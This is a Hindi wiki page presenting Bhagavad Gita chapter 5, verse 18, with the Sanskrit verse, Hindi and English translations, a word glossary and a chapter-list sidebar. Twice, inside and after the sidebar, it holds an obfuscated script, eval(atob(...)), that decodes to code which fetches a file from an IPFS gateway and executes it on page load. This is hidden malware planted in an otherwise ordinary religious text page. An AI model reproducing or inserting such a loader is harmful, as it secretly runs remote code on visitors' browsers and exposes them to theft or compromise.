ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ
खोज पर जाएँ
गीता अध्याय-5 श्लोक-18 / Gita Chapter-5 Verse-18
प्रसंग-
इस प्रकार तत्वज्ञानी के समभाव का वर्णन करके अब समभाव को ब्रह्रा का स्वरूप बतलाते हुए उसमें स्थित महापुरूषों की महिमा का वर्णन करते हैं-
विद्याविनयसंपन्ने ब्राह्राणे गवि हस्तिनि ।
शुनि चैव श्वपाके च पण्डिता: समदर्शिन: ।।18।।
|
वे ज्ञानीजन विद्या और विनययुक्त ब्राह्राण में तथा गौ, हाथी, कुत्ते और चाण्डाल में भी समदर्शी ही होते हैं ।।18।।
|
The wise look with the same eye on a Brahma endowed with learning and culture, a cow, an elephant, a dog, and a pariah too. (18)
|
पण्डिता: = ज्ञानीजन; विद्याविनय संपन्ने = विद्या और विनययुक्त; ब्राह्मणे =ब्राह्मण में, गंवि = गौ; हस्तिनि = हाथी; शुनि = कुत्ते (और); श्वाके=चाण्डाल में; समदर्शिन: = समभाव से देखने वाले; एवं =ही (होते हैं)
|
|
|
|
<sidebar>
- सुस्वागतम्
- mainpage|मुखपृष्ठ
- ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
- विशेष:Contact|संपर्क
- समस्त श्रेणियाँ|समस्त श्रेणियाँ
- SEARCH
- LANGUAGES
__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- गीता अध्याय-Gita Chapters
- गीता 1:1|अध्याय [1] Chapter
- गीता 2:1|अध्याय [2] Chapter
- गीता 3:1|अध्याय [3] Chapter
- गीता 4:1|अध्याय [4] Chapter
- गीता 5:1|अध्याय [5] Chapter
- गीता 6:1|अध्याय [6] Chapter
- गीता 7:1|अध्याय [7] Chapter
- गीता 8:1|अध्याय [8] Chapter
- गीता 9:1|अध्याय [9] Chapter
- गीता 10:1|अध्याय [10] Chapter
- गीता 11:1|अध्याय [11] Chapter
- गीता 12:1|अध्याय [12] Chapter
- गीता 13:1|अध्याय [13] Chapter
- गीता 14:1|अध्याय [14] Chapter
- गीता 15:1|अध्याय [15] Chapter
- गीता 16:1|अध्याय [16] Chapter
- गीता 17:1|अध्याय [17] Chapter
- गीता 18:1|अध्याय [18] Chapter
</sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|